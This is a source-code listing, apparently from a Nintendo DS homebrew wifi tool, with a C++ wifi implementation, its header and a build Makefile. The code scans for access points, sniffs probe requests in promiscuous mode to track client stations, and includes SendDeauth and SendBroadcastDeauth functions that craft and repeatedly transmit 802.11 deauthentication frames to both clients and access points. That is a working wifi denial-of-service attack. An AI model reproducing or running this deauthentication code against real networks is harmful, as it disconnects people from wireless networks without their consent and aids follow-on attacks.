   memcpy(pkt,DEAUTH_REQ,DEAUTH_REQ_SIZE);
   MAC_COPY(pkt,10,bssid);
   MAC_COPY(pkt,16,bssid);

	/* Send the deauth packet */
	SendFrame(DEAUTH_REQ_SIZE, pkt);
	Update();	
}

void Wifi::SendDeauth(int chan, unsigned char *bssid, unsigned char *dmac)
{
	int i;
	unsigned char pkt[26];

	/* switch to correct channel */
	Wifi_SetChannel(chan);

   /* craft the packet */
	for(i=0;i<64;i++)
	{
		/* send deauth to station */
		memcpy(pkt,DEAUTH_REQ,DEAUTH_REQ_SIZE);
		MAC_COPY(pkt,16,bssid);
		MAC_COPY(pkt,4,dmac);
		MAC_COPY(pkt,10,bssid);
		Wifi_RawTxFrame(26,0x0014,(u16 *)pkt);
		
		/* send deauth to ap */
		memcpy(pkt,DEAUTH_REQ,DEAUTH_REQ_SIZE);
		MAC_COPY(pkt,16,bssid);
		MAC_COPY(pkt,4,bssid);
		MAC_COPY(pkt,10,dmac);
		Wifi_RawTxFrame(26,0x0014, (u16 *)pkt);
	}
}

void Wifi::ParseProbeReq(unsigned char *data, int len)
{
	unsigned char *p,c;
	WifiStation *sta;
	unsigned char essid[33];
	int f = 0,valid_ssid=0;
	int n,i,s,e;	
	u16 *pkt = (u16 *)data;

	if(len>=2)
	{
		switch((*pkt>>2)&0x3F)
		{
			case 0x10:
				{				
					// Extract ESSID
					p = data + 24;
					
					while(( p < data + len))
					{
					   /* format error */
						if ((p+2)>(data+len))
							break;
						
						if( p + 2 + p[1] > data + len )
							break;
	
						if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' &&
						( p[1] > 1 || p[2] != ' ' ) )
						{
							n = p[1];

							valid_ssid = 1;
							for( i = 0; i < n; i++ )
								if( p[2 + i] > 0 && p[2 + i] < ' ' )
								{
									valid_ssid = 0;
									break;
								}
							if (valid_ssid == 0)
								break;			
							
							//ESSID must not exceed 32 chars
							e=(n>32)?32:n;
											
							for( i = 0; i < e; i++ )
							{
							  c = p[2 + i];
							  if((c>0 && c<32) || ( c > 126 && c < 160 ) ) c = '.';  //could also check ||(c>0 && c<32)
							  essid[i] = c;
							}
							essid[i]='\0';
							//printf("SSID: %s\n",essid);
							f = 1;
						}
						p += 2 + p[1];
					}
						
					if (f==0)
						essid[0]='\0';
	
					s = FindCacheStation(&data[10]);
					if (s<0)
					{		         
						//printf("Register %02X:%02X:%02X:%02X:%02X:%02X\n",data[10],data[11],data[12],data[13],data[14],data[15]);
						//printf("With %s\n",essid);
						sta = new WifiStation(&data[10],essid);
						m_station_cache.push_back(sta);
					}
					else if ((essid[0]!='\0') && !m_station_cache[s]->BelongsTo(essid))
					{
					   //printf("Found %02X:%02X:%02X:%02X:%02X:%02X\n",data[10],data[11],data[12],data[13],data[14],data[15]);
					   //printf("Set ESSID=%s\n",essid);
					   sta = m_station_cache[s];
						sta->SetESSID((char *)essid);
					}
	//				//printf("ok\n");
				}			
				break;
				
			default:
			   break;
		}
	}  
}

void Wifi::PacketCaptureHandler(s32 packetID, s32 packetlength)
{
	u32 real_len = (u32)packetlength;
	if (real_len>0 && real_len<3192 && m_promiscuous)
   {
		Wifi_RxRawReadPacket(packetID,packetlength,(unsigned short *)(m_packet_buffer));
			ParseProbeReq(m_packet_buffer,packetlength);
//			for(int i=0;i<(int)m_listeners.size();i++)
//				m_listeners[i]->OnRecvPacket(data,packetlength);
	}
}

int Wifi::FindCacheStation(unsigned char *mac)
{
   int i;
   
   for (i=0;i<(int)m_station_cache.size();i++)
   	if (m_station_cache[i]->HasMac(mac))
   		return i;
   return -1;
} 


void Wifi::AddPacketListener(PacketListener *listener)
{
	m_listeners.push_back(listener);
}

void Wifi::Snapshot()
{
   int i;
   int nap;
   WifiAP *wap;
   Wifi_AccessPoint ap;

	/* Update wifi */
	Update();
	
	/* Look for ap's */
	nap = Wifi_GetNumAP();
	for (i=0;i<nap;i++)
	{
		/* retrieve ap info */
		if(WIFI_RETURN_OK!=Wifi_GetAPData(i,&ap)) continue;
		
		/* check if the AP is already in the cache */
		for (i=0;i<(int)m_ap_cache.size();i++)
		{
			if (*m_ap_cache[i]==ap.bssid)
			{
			   m_ap_cache[i]->Update(ap.ssid, ap.channel, ap.rssi);
				break;;
			}			
		}
		if (i==(int)m_ap_cache.size())
		{					
		   wap = new WifiAP((const char *)ap.ssid,(const char *)ap.bssid,ap.channel,ap.rssi,ap.flags);
			m_ap_cache.push_back(wap);
		}		
	}
}

int Wifi::GetCacheAPSize()
{
   return (int)m_ap_cache.size();
}

WifiAP *Wifi::GetCacheAP(int i)
{
   return (WifiAP *)m_ap_cache[i];
}

int Wifi::GetCacheAPNbStations(int i)
{
   int j,n=0;
   
   /* count stations associated with this ap */
   for (j=0;j<(int)m_station_cache.size();j++)
   	if (m_station_cache[j]->BelongsTo((unsigned char *)m_ap_cache[i]->GetESSID()))
   		n++;
   return n;
}

int Wifi::GetCacheStationSize()
{
   return (int)m_station_cache.size();
}

WifiStation *Wifi::GetCacheStation(int i)
{
   return (WifiStation *)m_station_cache[i];
}


void Wifi::SetPromiscuous(bool bPromiscuous)
{
	m_promiscuous = bPromiscuous;
	if (m_promiscuous)
		/* install the packet capture handler */
		Wifi_RawSetPacketHandler(PacketCaptureHandler);
	else
		Wifi_RawSetPacketHandler(NULL);
}
/******************************************************************************
*******************************************************************************

			P a c k e t L i s t e n e r   I m p l e m e n t a t i o n

*******************************************************************************
******************************************************************************/


PacketListener::PacketListener()
{
}

PacketListener::~PacketListener()
{
}

void PacketListener::OnRecvPacket(unsigned char *buffer, int len)
{
}

/* Wifi self-reference */
Wifi *Wifi::m_self = NULL;
vector<PacketListener *> Wifi::m_listeners;
vector<WifiAP *>	Wifi::m_ap_cache;
vector<WifiStation *> Wifi::m_station_cache;
unsigned char Wifi::m_packet_buffer[3192];
bool Wifi::m_promiscuous = false;










arm9/source/wifi/wifi.h


#ifndef __INC_DSHARK_WIFI_H
#define __INC_DSHARK_WIFI_H

#include <nds.h>
#include <cstdlib>
#include <vector>

using namespace std;


/***********************************************************
*		WifiStation
***********************************************************/

class WifiStation
{
public:
   WifiStation(unsigned char *mac, unsigned char *ap_essid);
	
	char *getDesc();
	int HasMac(unsigned char *mac);
	int BelongsTo(unsigned char *essid);
	void SetESSID(char *essid);
	void GetMAC(unsigned char *mac);
			
private:
   
   unsigned char m_mac[6];
   unsigned char m_ap[33];
   unsigned char m_desc[256];
};


/***********************************************************
*		WifiAP
***********************************************************/

class WifiAP
{
public:
   
   WifiAP(const char *essid,const char *bssid, int channel, int rssi, int flags);
	~WifiAP();
	
	/* Getters */
	int GetChannel();
	char *GetBSSID();
	char *GetESSID();
	int GetRSSI();
	
	bool IsHidden();
	bool IsWEP();
	bool IsWPA();
	bool IsOpen();
	
	/* Setters */
	void Update(const char *ssid, int channel, int rssi);

	/* operators */
	bool operator==(unsigned char *bssid);

private:
   
   char	m_bssid[6];
   char	m_essid[33];
   int	m_chan;
   int	m_rssi;
   bool	m_hidden;
   int  m_flags;
};


/******************************************
*** Wifi Packet Listener
******************************************/

class PacketListener
{
public:
	
	PacketListener();
	virtual ~PacketListener();   
   virtual void OnRecvPacket(unsigned char *buffer, int len);
};

/******************************************
*** Wifi Management class
******************************************/

class Wifi
{
   
public:

	/* Singleton */
	static Wifi *getInstance();

	/* raw packet handler */
	static void PacketCaptureHandler(s32 packetID, s32 packetlength);
	void AddPacketListener(PacketListener *listener);
	static void ParseProbeReq(unsigned char *data, int len);
	
	/* Wifi related */
	void Init();
	int IsReady();
	void Start();
	void Stop();
	void SendFrame(int size,unsigned char *pkt);
	void Update();

	/* Modes */
	void ScanMode();	
	void SetPromiscuous(bool bPromiscuous);

	/* AP and Station caching */
	void Snapshot();
	int GetCacheAPSize();
	WifiAP *GetCacheAP(int i);
	int GetCacheAPNbStations(int i);

	static int FindCacheStation(unsigned char *mac);
	int GetCacheStationSize();
	WifiStation *GetCacheStation(int i);
	
	/* Wifi handlers */
	static void Timer_50ms(void);
	static void arm9_synctoarm7();
	static void arm9_fifo();

   /* Randomize */
   void InitRand();
   unsigned char RandChar();

	/*******************************************
	*** Wifi helpers
	*******************************************/
	
	void SendBroadcastDeauth(unsigned char *bssid);
	void SendDeauth(int chan, unsigned char *bssid, unsigned char *dmac);
	
private:

	/* self-reference */   
	static Wifi *m_self;

	/* constructor */
   Wifi();
   
   /* wifi status */
   int	m_status;
   static bool	m_promiscuous;

	/* packet listeners */
	static vector<PacketListener *>	m_listeners;
	
	/* AP cache */
	static vector<WifiAP *>	m_ap_cache;	
	
	/* Stations cache */
	static vector<WifiStation *> m_station_cache;
	
	/* Packet buffer */
	static unsigned char m_packet_buffer[3192];
};

#endif /* __INC_DSHARK_WIFI_H */
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Makefile


#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM)
endif

include $(DEVKITARM)/ds_rules

export TARGET		:=	$(shell basename $(CURDIR))
export TOPDIR		:=	$(CURDIR)

LOGO = $(CURDIR)/logo.bmp

#---------------------------------------------------------------------------------
# path to tools - this can be deleted if you set the path in windows
#---------------------------------------------------------------------------------
export PATH		:=	$(DEVKITARM)/bin:$(PATH)

.PHONY: $(TARGET).arm7 $(TARGET).arm9

#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
all: $(TARGET).ds.gba

$(TARGET).ds.gba	: $(TARGET).nds

#---------------------------------------------------------------------------------
$(TARGET).nds	:	$(TARGET).arm7 $(TARGET).arm9
	ndstool	-c $(TARGET).nds -7 $(TARGET).arm7 -9 $(TARGET).arm9 -o $(LOGO)

#---------------------------------------------------------------------------------
$(TARGET).arm7	: arm7/$(TARGET).elf
$(TARGET).arm9	: arm9/$(TARGET).elf

#---------------------------------------------------------------------------------
arm7/$(TARGET).elf:
	$(MAKE) -C arm7
	
#---------------------------------------------------------------------------------
arm9/$(TARGET).elf:
	$(MAKE) -C arm9

#---------------------------------------------------------------------------------
clean:
	$(MAKE) -C arm9 clean
	$(MAKE) -C arm7 clean
	rm -f $(TARGET).ds.gba $(TARGET).nds $(TARGET).arm7 $(TARGET).arm9

deploy:
	cp $(TARGET).nds F:\NDS\
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